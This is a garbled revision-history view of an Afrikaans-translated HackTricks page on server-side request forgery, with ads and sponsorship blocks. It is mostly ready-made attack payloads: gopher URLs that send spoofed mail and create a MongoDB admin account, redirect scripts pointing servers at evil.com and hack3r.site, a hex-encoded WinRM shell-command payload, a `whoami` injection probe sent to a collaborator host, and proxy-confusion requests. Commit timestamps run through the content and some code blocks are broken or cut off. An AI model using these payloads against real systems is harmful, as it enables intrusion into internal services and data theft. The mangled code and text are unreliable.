hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

277 lines
18 KiB
Markdown
Raw Normal View History

2022-04-29 15:47:17 +00:00
# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:10 +00:00
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2024-02-05 20:00:40 +00:00
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **bedienerkant-toepassing** manipuleer om **HTTP-aanvrae** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne aanvrae wat deur die aanvaller gerig word.
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
## Vang SSRF
2022-02-13 12:30:13 +00:00
Die eerste ding wat jy moet doen is om 'n SSRF-interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos die volgende gebruik:
2022-02-13 12:30:13 +00:00
2024-02-05 20:00:40 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb**](http://pingb.in)
2022-09-01 23:40:55 +00:00
* [**canarytokens**](https://canarytokens.org/generate)
2022-04-05 22:24:52 +00:00
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
2024-02-05 20:00:40 +00:00
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
2024-02-11 02:07:06 +00:00
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik
2022-02-13 12:30:13 +00:00
## Whitelisted Domeine Omgang
2022-02-13 12:30:13 +00:00
Gewoonlik sal jy vind dat die SSRF net werk in **sekere witgelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Omgang via oop omleiding
2022-02-13 12:30:13 +00:00
As die bediener korrek beskerm is, kan jy al die beperkings omseil deur 'n Oop Omleiding binne die webbladsy te benut. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding benut om die bediener te maak om interne enige hulpbron te benader**.\
2024-02-11 02:07:06 +00:00
Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
## Protokolle
2022-04-29 15:47:17 +00:00
* **file://**
* Die URL-skema `file://` word verwys, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
* **dict://**
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
* **TFTP://**
* Triviale Lêeroordragprotokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET' gestuur: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekende aksies gebaseer op daardie inligting.
2024-04-06 18:08:38 +00:00
2022-02-13 12:30:13 +00:00
```
2024-02-06 03:10:27 +00:00
From https://twitter.com/har1sec/status/1182255952055164929
2024-02-05 20:00:40 +00:00
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
2024-04-06 18:08:38 +00:00
* **Curl URL globbing - WAF omseil**
* Indien die SSRF uitgevoer word deur **curl**, het curl 'n kenmerk genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vind vir 'n **padtraversal via `file` protokol**:
2024-04-06 18:08:38 +00:00
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:00:40 +00:00
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
2024-04-06 18:08:38 +00:00
* **Gopher://**
* Die Gopher-protokol se vermoë om IP, poort, en bytes vir bediener kommunikasie te spesifiseer word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer:
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om met enige TCP bediener te **kommunikeer** (maar jy moet eers weet hoe om met die diens te praat).\
2024-02-11 02:07:06 +00:00
Gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep.
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2024-04-06 18:08:38 +00:00
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2024-04-06 18:08:38 +00:00
2022-04-29 15:47:17 +00:00
**Gopher HTTP**
2024-04-06 18:08:38 +00:00
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
2024-04-06 18:08:38 +00:00
**Gopher SMTP - Agterkoppel na 1337**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrateur
2024-04-06 18:08:38 +00:00
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
2024-04-06 18:08:38 +00:00
2024-02-11 02:07:06 +00:00
## SSRF via Verwysingskop & Ander
2023-01-11 11:28:05 +00:00
Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sodanige sagteware eksterne URL's wat in die Verwysingskop genoem word, mag besoek om verwysingswebwerf-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Verwysingskop verwerk, benut om potensiële SSRF-aanvaloppervlaktes te identifiseer.
2023-01-11 11:28:05 +00:00
2024-02-11 02:07:06 +00:00
## SSRF via SNI-data van sertifikaat
2023-01-11 11:28:05 +00:00
'n Verkeerde konfigurasie wat die verbinding met enige agterkant kan moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
2024-04-06 18:08:38 +00:00
2024-02-06 03:10:27 +00:00
```
2023-01-11 11:28:05 +00:00
stream {
2024-02-11 02:07:06 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
2024-04-06 18:08:38 +00:00
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant, soos `internal.host.com`, af te dwing met behulp van die `openssl`-opdrag word hieronder gegee:
2024-04-06 18:08:38 +00:00
2023-01-11 11:28:05 +00:00
```bash
2024-02-06 03:10:27 +00:00
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
2024-04-06 18:08:38 +00:00
## [Wget lêer oplaai](../file-upload/#wget-lêer-oplaai-ssrf-truuk)
2023-01-11 11:28:05 +00:00
2024-02-11 02:07:06 +00:00
## SSRF met Opdraginspuiting
2023-01-11 11:28:05 +00:00
Dit mag die moeite werd wees om 'n lading soos te probeer: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2022-02-13 12:30:13 +00:00
## PDFs Weergawe
2022-02-13 12:30:13 +00:00
As die webblad outomaties 'n PDF skep met 'n paar inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2022-02-13 12:30:13 +00:00
## Van SSRF tot DoS
2022-02-13 12:30:13 +00:00
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik.
2022-02-13 12:30:13 +00:00
## SSRF PHP Funksies
2023-01-22 18:27:01 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Omskakeling na Gopher
2022-02-13 12:30:13 +00:00
Vir sommige uitbuitings mag jy nodig hê om **'n omskakelingsrespons te stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om te reageer met 'n omskakeling:
2024-04-06 18:08:38 +00:00
````python
2022-02-13 12:30:13 +00:00
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2024-02-11 02:07:06 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```afrikaans
2024-02-11 02:07:06 +00:00
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
2024-04-06 18:08:38 +00:00
````
2022-02-13 12:30:13 +00:00
```python
from flask import Flask, redirect
from urllib.parse import quote
2024-02-11 02:07:06 +00:00
app = Flask(__name__)
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
2024-04-06 18:08:38 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Verkeerd geconfigureerde proksi's vir SSRF
Truuks [**van hierdie pos**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Flask proksi kwesbare kode</summary>
2024-04-06 18:08:38 +00:00
\`\`\`python from flask import Flask from requests import get
2024-04-06 18:08:38 +00:00
app = Flask('**main**') SITE\_NAME = 'https://google.com'
2024-04-06 18:08:38 +00:00
@app.route('/', defaults={'path': ''}) @app.route('/[path:path](path:path)')
2024-04-06 18:08:38 +00:00
def proxy(path): return get(f'{SITE\_NAME}{path}').content
if **name** == "**main**": app.run(threaded=False)
````
</details>
Flask laat toe om **`@`** as aanvangskarakter te gebruik, wat dit moontlik maak om die **aanvangshostnaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
2024-04-06 18:08:38 +00:00
````
#### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Vulnereerbare kode:
2022-04-29 15:47:17 +00:00
2024-04-06 18:08:38 +00:00
<img src="../../.gitbook/assets/image (729).png" alt="" data-size="original">
Daar is ontdek dat dit moontlik is om die **pad te begin** van 'n versoek met die karakter **`;`** wat dan toelaat om die **`@`** te gebruik en 'n nuwe gasheer in te spuit om toegang te verkry. Aanval versoek:
2024-04-06 18:08:38 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
2024-04-06 18:08:38 +00:00
#### PHP Ingeboude Webbediener <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
</details>